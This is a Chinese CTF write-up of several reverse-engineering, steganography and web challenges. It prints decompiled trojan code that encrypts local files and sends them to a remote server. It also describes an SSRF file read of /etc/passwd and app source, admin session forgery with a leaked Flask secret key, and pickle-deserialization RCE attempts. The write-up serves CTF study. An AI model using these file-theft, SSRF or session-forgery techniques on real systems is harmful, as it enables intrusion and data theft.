[CTF从0到1]2026软件系统安全赛线上赛部分Writeup

Lentinel 发布于 14 天前 148 次阅读


这次应该是我本科阶段打的最后一次 CTF 了,这之前几乎有一年没碰过题目,在半退役的边缘又迎来了 AI 的万物竞发,很难想象以后的 CTF 比赛会是什么样的哈哈。

记录了几道我参与的题目,由于赛后题目无法再进入,很多题我也忘了保存附件,有几道题的 WP 我用了同队的队友的截图,不能复现还挺难受的。

re1

附件是一个 elf 程序加一个 MP4 视频,先看程序,

看见了一坨 Base64 编码,直接定位过去,

旁边写了DATA XREF: .data:payload_encoder_pyc_base64↓o,猜这段是被编码的 pyc 文件,

import base64

b64_payload = "Qg0NCg……太长了略"

with open("stager.pyc", "wb") as f:
    f.write(base64.b64decode(b64_payload))
print("[+] stager.pyc extracted successfully!")

解之,再反编译,得

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.7

from PIL import Image
import math
import os
import sys
import numpy as np
import imageio
from tqdm import tqdm

def file_to_video(input_file, width, height, pixel_size, fps, output_file = (640, 480, 8, 10, 'video.mp4')):
    if not os.path.isfile(input_file):
        return None
    file_size = None.path.getsize(input_file)
    binary_string = ''
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    input_path = 'payload'
    if os.path.exists(input_path):
        file_to_video(input_path)
    else:
        sys.exit(1)

虽然代码不太全,不过也能拿到关键信息,

反编译器把默认参数解析成了一个元组 (640, 480, 8, 10, 'video.mp4'),还原成原本的函数签名应该是:

def file_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file='video.mp4'):

隐藏着视频隐写的核心规则:

分辨率 (width=640, height=480):每一帧的画面大小。

像素块大小 (pixel_size=8):程序并没有把 1 个 bit 映射为 1 个像素,而是映射成了一个 $8 \times 8$ 的像素块。

容量计算:每一帧能藏的数据量是 $(640 \div 8) \times (480 \div 8) = 80 \times 60 = 4800$ 个 bit(即 600 字节)。

不过要找到最关键的逻辑,还是得重新反编译,在线反编译不太行,用xdis库来,

pydisasm stager.pyc > stager_disasm.txt

得到 python 汇编,我是看不懂,直接丢给 Gemini,得到以下分析:

① 找到异或密钥 (XOR Key)

在第 21 行:

 21:   128 LOAD_CONST ("10101010")
       130 STORE_FAST (xor_key)

以及后面的第 27-28 行,程序将每一字节与密钥进行了二进制异或(BINARY_XOR)。

说明密钥是二进制串 "10101010",转换成十六进制就是 0xAA** (十进制 170)。

② 找到像素颜色映射规则

在第 54 行:

 54:   460 LOAD_FAST (bit)
       462 LOAD_CONST ("1")
       464 COMPARE_OP (==)
       ...
       468 POP_JUMP_IF_FALSE (to 474)   <-- 如果 bit 不是 "1" (即 "0"),跳到 474
       470 LOAD_CONST ((0, 0, 0))       <-- bit 为 "1" 时,颜色是 (0,0,0) 黑色
       472 JUMP_FORWARD (to 476)
   >>  474 LOAD_CONST ((255, 255, 255)) <-- bit 为 "0" 时,颜色是 (255,255,255) 白色

说明1 = 黑色,0 = 白色

③ 定位像素块大小 (Block Size)

根据前面的分析和常数池,width = 640, height = 480, pixel_size = 8

每一位 bit 实际上被放大成了一个 $8 \times 8$ 的纯色方块。这样一帧能容纳的比特位是:$(640/8) \times (480/8) = 80 \times 60 = 4800$ bit。

写解码脚本即可:

import cv2

# 配置参数
VIDEO_PATH = "video.mp4"
OUTPUT_PATH = "recovered_payload.bin"
XOR_KEY = int("10101010", 2)  # 0xAA
PIXEL_SIZE = 8
COLS = 640 // PIXEL_SIZE  # 80
ROWS = 480 // PIXEL_SIZE  # 60

def extract_payload():
    cap = cv2.VideoCapture(VIDEO_PATH)

    extracted_bits = ""
    frame_count = 0

    while True:
        ret, frame = cap.read()
        if not ret:
            break

        frame_count += 1
        # 转为灰度图方便判断明暗
        gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)

        # 遍历网格
        for r in range(ROWS):
            for c in range(COLS):
                # 取每个 8x8 像素块的中心点坐标
                center_x = c * PIXEL_SIZE + (PIXEL_SIZE // 2)
                center_y = r * PIXEL_SIZE + (PIXEL_SIZE // 2)

                # 获取中心点像素的灰度值
                pixel_val = gray_frame[center_y, center_x]

                # 阈值判断:黑色为 '1' (< 128),白色为 '0' (>= 128)
                if pixel_val < 128:
                    extracted_bits += "1"
                else:
                    extracted_bits += "0"

    cap.release()
    print(f"视频解析完成,共提取 {frame_count} 帧。")

    # 去除由于视频最后一帧没占满而可能多出来的 '0' 补位
    # 这里我们按字节 (8位) 进行切分和异或
    print("正在进行 XOR 解密并写入文件...")

    # 确保位数是 8 的倍数
    valid_length = len(extracted_bits) - (len(extracted_bits) % 8)
    extracted_bits = extracted_bits[:valid_length]

    payload_bytes = bytearray()
    for i in range(0, len(extracted_bits), 8):
        byte_str = extracted_bits[i:i+8]
        encrypted_byte = int(byte_str, 2)
        decrypted_byte = encrypted_byte ^ XOR_KEY
        payload_bytes.append(decrypted_byte)

    # 写入文件
    with open(OUTPUT_PATH, "wb") as f:
        f.write(payload_bytes)

    print(f"解密成功!载荷已保存至: {OUTPUT_PATH}")

if __name__ == "__main__":
    extract_payload()

得到的 bin 文件再丢进 DIE 看看,发现还是个 elf 程序,再放进 IDA,得到以下重要信息:

那还说啥了,直接写脚本爆破 MD5 完事,

import hashlib
import string

# 这是从你的 IDA .data 段提取出的所有哈希值(按顺序)
hashes = [
    "8277e0910d750195b448797616e091ad",
    "0cc175b9c0f1b6a831c399e269772661",
    "4b43b0aee35624cd95b910189b3dc231",
    "e358efa489f58062f10dd7316b65649e",
    "f95b70fdc3088560732a5ac135644506",
    "c81e728d9d4c2f636f067f89cc14862c",
    "0cc175b9c0f1b6a831c399e269772661",
    "92eb5ffee6ae2fec3ad71c777531578f",
    "c4ca42……太多了后面全略"
]

print("[*] 正在进行单字符 MD5 爆破...")
flag = ""
charset = string.printable

for h in hashes:
    found = False
    for char in charset:
        # 对每一个可见字符进行 MD5 哈希
        if hashlib.md5(char.encode()).hexdigest() == h:
            flag += char
            found = True
            break
    if not found:
        flag += "?" # 如果遇到不在 printable 里的字符(几率极小),用 ? 代替

print(f"\n[+] 破解成功!最终 Flag 如下:\n{flag}")

# dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}

re2

喜闻乐见的魔改壳 + 动态调试逆向题。不是我做出来的,先挂个待办。

re3

先直接从 capture.pcap 里搜可见字符串,可以看到 3 段 JSON:readme.txtflag.txtconfig.txt,它们都带有一个十六进制字段ciphertext,说明木马把文件内容加密后再上传。

对 client 做字符串检查,可以看到非常明显的 PyInstaller 痕迹,解包 client,再反编译 client.pyc 得:

import base64
import sys
import os
import json
import socket
import hashlib
import crypt_core
import builtins

def _oe(_d, _k1, _k2, _rn):
    try:
        _b = base64.b85decode(_d.encode())
        _r = []
        for _i, _x in enumerate(_b):
            _k = (_k1, _k2, _rn)[_i % 3]
            _r.append(_x ^ _k)

        _s = bytes(_r).decode()
        _res = []

        for _c in _s:
            if _c.isalpha():
                _base = ord("A") if _c.isupper() else ord("a")
                _res.append(chr((ord(_c) - _base - _rn) % 26 + _base))
            elif _c.isdigit():
                _res.append(str((int(_c) - _rn) % 10))
            else:
                _res.append(_c)

        return "".join(_res)
    except:
        return _d

_globs = dict(
    __name__="__main__",
    __file__=__file__,
    __package__=None,
    _oe=_oe,
)

# 注入 builtins
for _k in dir(builtins):
    if not _k.startswith("_"):
        _globs[_k] = getattr(builtins, _k)

# 注入模块
_globs["base64"] = base64
_globs["sys"] = sys
_globs["os"] = os
_globs["json"] = json
_globs["socket"] = socket
_globs["hashlib"] = hashlib
_globs["crypt_core"] = crypt_core

def _obf_check():
    if hasattr(sys, "gettrace"):
        _tr = sys.gettrace()
        if _tr is not None:
            return False
    return True

def _obf_exec(_code):
    if not _obf_check():
        return None
    exec(compile(_code, "<obf>", "exec"), _globs, _globs)

# 这里是超长混淆 payload
_1667 = """UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-
F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~
I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@
DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F
(4%%H8d#-...
(略)
"""

_obf_exec(base64.b85decode(_1667).decode())

解码后得到:

_j0 = lambda: (30 ^ 126) + (520 % 26)
_j1 = lambda: (158 ^ 184) + (820 % 54)
_j2 = lambda: (37 ^ 2) + (687 % 25)
_j3 = lambda: (72 ^ 112) + (474 % 30)
_j4 = lambda: (173 ^ 82) + (257 % 73)
_j5 = lambda: (117 ^ 203) + (331 % 54)
_j6 = lambda: (242 ^ 46) + (846 % 33)
_j7 = lambda: (21 ^ 148) + (425 % 77)
_j8 = lambda: (139 ^ 134) + (427 % 21)
_j9 = lambda: (245 ^ 62) + (413 % 85)
_j10 = lambda: (242 ^ 65) + (892 % 30)
_j11 = lambda: (22 ^ 58) + (740 % 59)
_j12 = lambda: (139 ^ 248) + (771 % 74)
_j13 = lambda: (219 ^ 230) + (262 % 63)
_j14 = lambda: (17 ^ 89) + (622 % 38)
_j15 = lambda: (229 ^ 205) + (369 % 25)
_j16 = lambda: (111 ^ 33) + (433 % 50)
_j17 = lambda: (41 ^ 142) + (512 % 21)

class _Obf3776:
    def __init__(self):
        self._v = 751

    def _m(self):
        return self._v * 5

#!/usr/bin/env python3

import socket
import json
import os
import sys
import hashlib
import time

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core

class CustomBase64:
    CUSTOM_ALPHABET = _oe(
        "8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr",
        83, 214, 17
    )

    STANDARD_ALPHABET = _oe(
        "0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}",
        83, 214, 17
    )

    ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
    DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)

    @classmethod
    def decode(cls, data: str) -> bytes:
        import base64
        std_b64 = data.translate(cls.DECODE_TABLE)
        return base64.b64decode(std_b64)

SERVER_HOST = ""
SERVER_PORT = 9999

KEY_B64 = _oe(
    "C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ",
    83, 214, 17
)

KEY = CustomBase64.decode(KEY_B64)

FILES_TO_SEND = [
    _oe("I-p}FvS)q0emD", 83, 214, 17),
    _oe("B(-BJ_<B6O", 83, 214, 17),
    _oe("C$MxRtZ99{emD", 83, 214, 17),
]

def _opaque_true():
    _x = 0
    for _i in range(100):
        _x += _i * (_i - _i + 1)
    return _x >= 0

def _opaque_false():
    _a, _b = 5, 7
    return (_a * _b) == (_b * _a + 1)

def _dead_calc():
    _dead = 0
    for _i in range(50):
        _dead = (_dead + _i) % 17
    if _dead > 100:
        _dead = _dead * 2 + 1
    return _dead

def encrypt_file(key: bytes, plaintext: bytes) -> bytes:
    _state = 0
    _result = None

    while _state < 3:
        if _state == 0:
            if _opaque_true():
                _result = crypt_core.encode_data(plaintext, key[:16])
                _state = 2
            else:
                _dead_calc()
                _state = 1

        elif _state == 1:
            _dead_calc()
            _state = 2

        elif _state == 2:
            if _opaque_false():
                _result = None
            _state = 3

    return _result

def send_single_file(sock, filename, plaintext):
    _s = 0
    _ct = None
    _pl = None

    while _s < 5:
        if _s == 0:
            _ct = encrypt_file(KEY, plaintext)
            _s = 1

        elif _s == 1:
            _pl = {
                _oe("B&>2Jvtu`)", 83, 214, 17): filename,
                _oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex(),
            }
            _s = 2

        elif _s == 2:
            if _opaque_true():
                sock.sendall(
                    json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n"
                )
                _s = 4
            else:
                _dead_calc()
                _s = 3

        elif _s == 3:
            _dead_calc()
            _s = 4

        elif _s == 4:
            if not _opaque_false():
                time.sleep(0.1)
            _s = 5

def _verify_cmd(cmd):
    _state = 10
    _hash_val = None
    _valid = False

    while _state < 50:
        if _state == 10:
            if len(cmd) > 0:
                _state = 20
            else:
                _state = 49

        elif _state == 20:
            _hash_val = hashlib.md5(cmd.encode()).hexdigest()
            _state = 30

        elif _state == 30:
            if _opaque_true():
                _valid = _hash_val == _oe(
                    "VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U",
                    83, 214, 17
                )
                _state = 40
            else:
                _dead_calc()
                _state = 49

        elif _state == 40:
            if _valid:
                _state = 50
            else:
                _state = 49

        elif _state == 49:
            return False

    return _valid

def _get_server_host(args):
    _s = 100
    _host = None

    while _s < 200:
        if _s == 100:
            if len(args) > 2:
                _s = 110
            else:
                _s = 120

        elif _s == 110:
            _host = args[2]
            _s = 200

        elif _s == 120:
            if _opaque_true():
                _host = ""
                _s = 200

        elif _s == 200:
            if _opaque_false():
                _host = _oe("Ywsm};Xh>fDF", 83, 214, 17)
            _s = 201

    return _host

def main():
    _state = 0
    _sock = None
    _idx = 0
    _printed_header = False

    while _state < 100:
        if _state == 1:
            if len(sys.argv) < 2:
                _state = 5
            else:
                _state = 2

        elif _state == 2:
            if _verify_cmd(sys.argv[1]):
                _state = 3
            else:
                _state = 4

        elif _state == 3:
            if not _printed_header:
                print("=" * 50)
                print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)", 83, 214, 17))
                print("=" * 50)
                _printed_header = True
            _state = 10

        elif _state == 4:
            print("错误:无效的命令")
            _state = 99

        elif _state == 5:
            print("用法:python client.py <command> [SERVER_HOST]")
            _state = 99

        elif _state == 10:
            try:
                _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                _state = 11
            except Exception:
                _state = 99

        elif _state == 11:
            _host = _get_server_host(sys.argv)
            _state = 12

        elif _state == 12:
            try:
                _sock.connect((_host, SERVER_PORT))
                _state = 20
            except Exception as e:
                print(f"[!] 连接失败:{e}")
                _state = 99

        elif _state == 20:
            if _idx < len(FILES_TO_SEND):
                _state = 21
            else:
                _state = 30

        elif _state == 21:
            _fname = FILES_TO_SEND[_idx]
            _state = 22

        elif _state == 22:
            if os.path.exists(_fname):
                _state = 23
            else:
                _state = 28

        elif _state == 23:
            with open(_fname, "rb") as _f:
                _data = _f.read()
            _state = 24

        elif _state == 24:
            print("[*] 发送文件")
            _state = 25

        elif _state == 25:
            send_single_file(_sock, _fname, _data)
            _state = 26

        elif _state == 26:
            _idx += 1
            _state = 20

        elif _state == 28:
            print("[-] 文件不存在")
            _idx += 1
            _state = 20

        elif _state == 30:
            time.sleep(0.2)
            _state = 31

        elif _state == 31:
            if _sock:
                _sock.close()
            _state = 99

        elif _state == 99:
            break

if __name__ == _oe("42g9itaJ>C", 83, 214, 17):
    main()

client 中会先做一层自定义 base64 解码,得到完整字符串:b"passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B",随后调用crypt_core.encode_data(data, key[:16]),因此真正参与加密的密钥只有前 16 字节。

逆向 crypt_core.so ,可知核心函数是sub_60B0,由 encode_data 直接调用,

还原出魔改 SM4 算法,

from __future__ import annotations
import argparse
import json
import subprocess
import sys
from pathlib import Path

BLOCK_SIZE = 16
KEY = b"passvkcDKWLAA45o"

SBOX = bytes.fromhex(
    "ecca0ef308f02aa23b182b5c37bd12a8"
    "05d3a1574f96fcf5a7141966589bbfb4"
    "39d51e1a30bc6c80b7ed4106d91767cd"
    "1d2cae240313c65383110af7c04dc49e"
    "8d001fc33f359fcb729d166facce3c5e"
    "a6e17b343632b895918952c1e7a33348"
    "04cf10eb25bb8e0f816eb343458f49f8"
    "4b59074adefdc8d0848bfbdadb28d43e"
    "a42f56beef86c762ea76e9d674a56bf9"
    "987d3a265aaf870d1b2eb2e36accf1ff"
    "d7f61cc9e870204e233dc2aadc0bf25f"
    "7afa889747d10c02317ff4751593388a"
    "429071dd73557eb55b294c9ae08cb0e5"
    "642701dfad2179949251697c22635085"
    "2de2404644a982b661d8d2b968abb15d"
    "655477a0c5ba609ce4feee99e6786d09"
)

FK = (0x3B1F86A4, 0x83F7332D, 0x58ADBA8E, 0x71DC3F73)

CK = (
    0x9A148706, 0x657904A4, 0xB0535D2D, 0x865C7AA7,
    0xF7FEF2D4, 0xF09D3A8B, 0x67CB0390, 0xF3B1D1AA,
    0x1941EDE3, 0xCDD55650, 0x272AA612, 0x397B1DC6,
    0x767AAB6B, 0x71A39044, 0x8A77F592, 0x7B5A7907,
    0x97D18251, 0xCA1960CB, 0x44B54134, 0x3F30C70A,
    0x5EB36C72, 0x5569E716, 0x51BF832C, 0xF13A95BC,
    0x92D9F824, 0xE75CED15, 0x4558D865, 0xBE5250CD,
    0x8F658E94, 0xB4EA5DC0, 0xB0377FCE, 0x4DF44762,
)

# ===== 基础函数 =====

def rol32(x: int, n: int) -> int:
    x &= 0xFFFFFFFF
    return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF

def tau(x: int) -> int:
    return (
        (SBOX[(x >> 24) & 0xFF] << 24)
        | (SBOX[(x >> 16) & 0xFF] << 16)
        | (SBOX[(x >> 8) & 0xFF] << 8)
        | SBOX[x & 0xFF]
    )

def l_transform(x: int) -> int:
    return x ^ rol32(x, 2) ^ rol32(x, 10) ^ rol32(x, 18) ^ rol32(x, 24)

def l_prime(x: int) -> int:
    return x ^ rol32(x, 13) ^ rol32(x, 23)

# ===== 密钥扩展 =====

def expand_round_keys(key: bytes) -> list[int]:
    if len(key) != BLOCK_SIZE:
        raise ValueError("invalid key length")

    words = [int.from_bytes(key[i:i+4], "big") for i in range(0, 16, 4)]
    state = [words[i] ^ FK[i] for i in range(4)]

    rk = []
    for i in range(24):
        mix = state[i+1] ^ state[i+2] ^ state[i+3] ^ CK[i]
        new = state[i] ^ l_prime(tau(mix))
        state.append(new)
        rk.append(new)

    return rk

# ===== 分组加解密 =====

def crypt_block(block: bytes, rk: list[int]) -> bytes:
    if len(block) != BLOCK_SIZE:
        raise ValueError("invalid block size")

    state = [int.from_bytes(block[i:i+4], "big") for i in range(0, 16, 4)]

    for i in range(24):
        mix = state[i+1] ^ state[i+2] ^ state[i+3] ^ rk[i]
        state.append(state[i] ^ l_transform(tau(mix)))

    return b"".join(w.to_bytes(4, "big") for w in state[-1:-5:-1])

def pkcs7_unpad(data: bytes) -> bytes:
    if not data or len(data) % BLOCK_SIZE:
        raise ValueError("invalid padding")

    pad = data[-1]
    if pad < 1 or pad > BLOCK_SIZE or data[-pad:] != bytes([pad]) * pad:
        raise ValueError("invalid padding")

    return data[:-pad]

def decrypt(ct: bytes, key: bytes = KEY) -> bytes:
    if len(ct) % BLOCK_SIZE:
        raise ValueError("invalid ciphertext length")

    rk = list(reversed(expand_round_keys(key)))
    pt = b"".join(
        crypt_block(ct[i:i+16], rk)
        for i in range(0, len(ct), 16)
    )
    return pkcs7_unpad(pt)

# ===== PCAP 解析 =====

def extract_json_messages(pcap: Path) -> list[dict[str, str]]:
    out = subprocess.check_output(
        ["tshark", "-r", str(pcap), "-q", "-z", "follow,tcp,raw,0"],
        text=True
    )

    msgs = []
    for line in out.splitlines():
        line = line.strip()
        if not line or any(c not in "0123456789abcdef" for c in line):
            continue

        raw = bytes.fromhex(line)
        if raw.startswith(b"{"):
            msgs.append(json.loads(raw.decode()))

    return msgs

# ===== 输出 =====

def print_result(name: str, pt: bytes):
    print(f"=== {name} ===")
    try:
        print(pt.decode())
    except UnicodeDecodeError:
        print(pt.hex())
    print()

# ===== 主程序 =====

def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--pcap", type=Path, default=Path("capture.pcap"))
    parser.add_argument("--ciphertext")
    parser.add_argument("--raw", action="store_true")
    args = parser.parse_args()

    # 单条解密模式
    if args.ciphertext:
        pt = decrypt(bytes.fromhex(args.ciphertext))
        print(pt.hex() if args.raw else pt.decode(errors="ignore"))
        return 0

    # PCAP 模式
    msgs = extract_json_messages(args.pcap)
    if not msgs:
        print("no messages found", file=sys.stderr)
        return 1

    for m in msgs:
        pt = decrypt(bytes.fromhex(m["ciphertext"]))
        print_result(m["filename"], pt)

    return 0

if __name__ == "__main__":
    raise SystemExit(main())

steganography

叼毛题恶心的一批。

使用 010 Editor 观察原文件,发现在偏移量 35 处存在 PNG 的文件头( 89 50 4E 47 )。剥离出 PNG 后,发现无法正常打开。继续看 PNG 结构,会发现 IHDR 正常,但 IDAT 块之间被插入了少量无关字节,导致普通 PNG 解析器容易失败。不过题目里的 IDAT 标记仍然能直接搜出来,一共 6 个,把每个 IDAT 前 4 字节当长度、后面按长度取数据,再把 6 段 IDAT 数据拼接起来,就能得到完整的 zlib 数据流。遇到非标的 Chunk 类型(只要不是 IHDR , IEND , PLTE ),强制修正为 IDAT ,并重新计算 CRC32 校验和以满足文件规范。

import struct
import binascii

def fix_png():
    with open("steganography_challenge", "rb") as f:
        f.seek(35)
        data = f.read()

    # PNG 文件头(魔数)
    fixed_data = bytearray(data[:8])
    offset = 8

    # 遍历并修复 Chunk
    while offset < len(data):
        if offset + 8 > len(data):
            break

        length = struct.unpack(">I", data[offset:offset + 4])[0]
        chunk_type = data[offset + 4:offset + 8]

        if offset + 8 + length + 4 > len(data):
            break

        chunk_data = data[offset + 8: offset + 8 + length]

        # 核心修复:非法 chunk → 强制改为 IDAT
        if chunk_type not in [b"IHDR", b"IEND", b"PLTE"]:
            chunk_type = b"IDAT"

        # 重算 CRC
        crc = binascii.crc32(chunk_type + chunk_data) & 0xFFFFFFFF

        fixed_data += (
            struct.pack(">I", length)
            + chunk_type
            + chunk_data
            + struct.pack(">I", crc)
        )

        offset += 12 + length

        if chunk_type == b"IEND":
            break

    with open("fixed.png", "wb") as f:
        f.write(fixed_data)

得到健康的 fixed.png 后,按顺序提取 RGB 三个通道的最低有效位(LSB, bit 0)。将其转为字节流后,搜索 ZIP 文件的魔数 PK\x03\x04 并截断提取出 hidden.zip 。可直接使用zsteg -e b1,rgb,lsb,xy fixed.png > hidden.zip命令完成。

解压 hidden.zip 得到 pass1.zip ~ pass6.zip 以及 flag.zip 。 pass1~6 皆为加密文件,但查看压缩包属性发现:被加密的内部文件大小仅为 4 字节。 在 ZIP 协议中,即使文件被加密,其数据目录中的大小(Size)和 CRC32 校验值依然是明文存储的。利用 4 字节(可打印字符)组合空间极小的特性,直接对 CRC32 进行哈希碰撞爆破原文。

import zipfile
import zlib
import itertools
import string

def crack_crc32():
    charset = string.printable.encode()
    results = {}

    for i in range(1, 7):
        zip_name = f"pass{i}.zip"

        with zipfile.ZipFile(zip_name, "r") as zf:
            inner_file = zf.infolist()[0]
            target_crc = inner_file.CRC
            size = inner_file.file_size

        # 根据文件真实长度进行爆破
        for p in itertools.product(charset, repeat=size):
            test_bytes = bytes(p)

            if zlib.crc32(test_bytes) & 0xFFFFFFFF == target_crc:
                results[zip_name] = test_bytes.decode("ascii")
                break

    # 拼接最终结果
    result = "".join(results[f"pass{i}.zip"] for i in range(1, 7))
    print(result)

if __name__ == "__main__":
    crack_crc32()

CRC32 爆破后拼接的完整明文为:pass is c1!xxtLf%fXYPkaA。 这里是一个社工陷阱,真正的解压密码需要剔除前置主语,即为c1!xxtLf%fXYPkaA。解开 flag.zip 后,得到 flag.txt。

使用该密码解压 flag.zip 得到 flag.txt。文本看似只有 "flag is here",实则尾部混入了大量不可见的零宽字符(U+200B 零宽空格,U+200C 零宽非连接符)。 将其分别映射为 01,每 8 位转为一个 ASCII 字符,即可还原出最终 Flag。

def decode_zero_width():
    with open("flag.txt", "r", encoding="utf-8") as f:
        content = f.read()

    binary_str = ""
    for char in content:
        if char == '\u200b': binary_str += '0'
        elif char == '\u200c': binary_str += '1'

    flag = ""
    for i in range(0, len(binary_str), 8):
        byte_chunk = binary_str[i:i+8]
        if len(byte_chunk) == 8:
            flag += chr(int(byte_chunk, 2))

    print(flag)

auth

由于我不是 Web 手,比赛的时候只好结合 AI 现做这道题。一开始我还以为是要打这个登录页,后面发现其实可以登录进去,其实是打整个用户管理系统。发现了任意文件读取的洞,但是没时间了就没做出来,先总结一下目前的进度,以后有机会再复现。(比赛一结束环境就进不去了,很烦啊)

0x00 题目背景与初步信息收集
  • 题目环境:一个包含注册、登录以及用户资料管理的 Web 系统。
  • 技术栈探测:随便输入账号密码登录抓包后,通过响应头 Server: Werkzeug/2.2.3 Python/3.7.3 明确了后端使用的是 Python 3.7.3Flask 框架。
0x01 突破口:SSRF 导致任意文件读取

注册普通用户(角色为 user)并登录后,发现在“个人属性”页面存在“头像上传”功能。该功能提供了两种上传方式,其中方式二“提供图片URL” 存在极大的安全隐患。

  • 漏洞测试:在 URL 框输入 file:///etc/passwd,成功在头像预览区或报错信息中读出了服务器的 /etc/passwd 文件,确认了靶机为 Alpine Linux 且存在 ctf 用户。
  • 环境探测:继续利用 SSRF 读取 file:///proc/self/environ,在环境变量中发现 PWD=/app,定位到了 Web 应用源码存放的绝对路径。
  • 源码泄露:利用 SSRF 读取 file:///app/app.py,成功拿到了后端的完整 Python 源码!
0x02 源码白盒审计

拿到 app.py 后,进行了详细的白盒代码审计,发现以下关键逻辑和漏洞点:

  1. Redis 凭证硬编码:系统使用 Redis 存储用户数据和 Flask Session 的密钥(SECRET_KEY),并且源码中硬编码了 Redis 的密码 123456
  2. Session 伪造可能:Flask 的 SECRET_KEY 存放在 Redis 的 app:secret_key 键中。只要拿到这个密钥,就可以通过客户端伪造 Session Cookie,实现权限提升(越权至 admin)。
  3. 高危反序列化漏洞:在 /admin/online-users(在线用户管理)路由下,系统会遍历 Redis 中的 online_user:* 键,并使用 pickle.loads() 进行反序列化。虽然程序自定义了 RestrictedUnpickler 进行防御,但其白名单中赫然写着允许加载 builtins 模块,形同虚设,存在绕过并执行 RCE(远程命令执行)的条件。
0x03 数据库窃取与 Session 伪造 (提权)

由于直接利用 CRLF 注入 Redis 失败(猜测受限于 urllib 底层或者 Python 环境),我们转变思路,直接利用 SSRF 去读 Redis 的本地持久化备份文件。

  • 获取 Secret Key:在 URL 下载框提交 file:///var/lib/redis/dump.rdb。在返回的二进制乱码中,成功搜索并提取到了 Flask 的签名密钥: 7f52b5dddb8b8b2290fd31276077c7dc15f95054cc14f3e0ca0ebc63700ed984
  • 伪造 Admin 凭证:使用本地工具 flask-unsign,结合拿到的密钥,手动签发了一个包含 {'logged_in': True, 'role': 'admin', 'username': '21212'} 的 Session Cookie。
  • 成功越权:将浏览器中的 session 替换为伪造的 Cookie 后刷新页面,成功获取到了 admin (管理员) 权限,解锁了 /admin/users/admin/online-users 页面。
0x04 进度卡点与现状分析

目前我们已经以 admin 身份进入了后台。在 /admin/users(注册用户列表)中,发现有其他选手留下的 SSTI 测试载荷({{7*7}}),但并未直接发现 Flag。

当前我们手里的终极武器:

  1. SSRF (任意文件读取):受限于管理员权限,我们可以读取更高权限的文件。
  2. Pickle 反序列化 (后台):我们可以向 Redis 写入恶意的序列化数据,并在访问 /admin/online-users 时触发它。

接下来的核心难点(未完成部分): 目前的难点在于定位 Flag 的具体位置。我们尝试过直接写文件、调用 os.system 等 Pickle 反序列化手法,但页面均无变化或无明显回显。这说明:

  1. 容器环境可能限制了对外的命令输出,或者是只读文件系统。
  2. Flag 不在常规的 /flag 路径下,或者被藏在了 1 号进程的环境变量 (/proc/1/environ) 中。
  3. 反序列化的 Payload 在绕过 RestrictedUnpickler 时,部分利用链可能被运行环境吃掉了异常。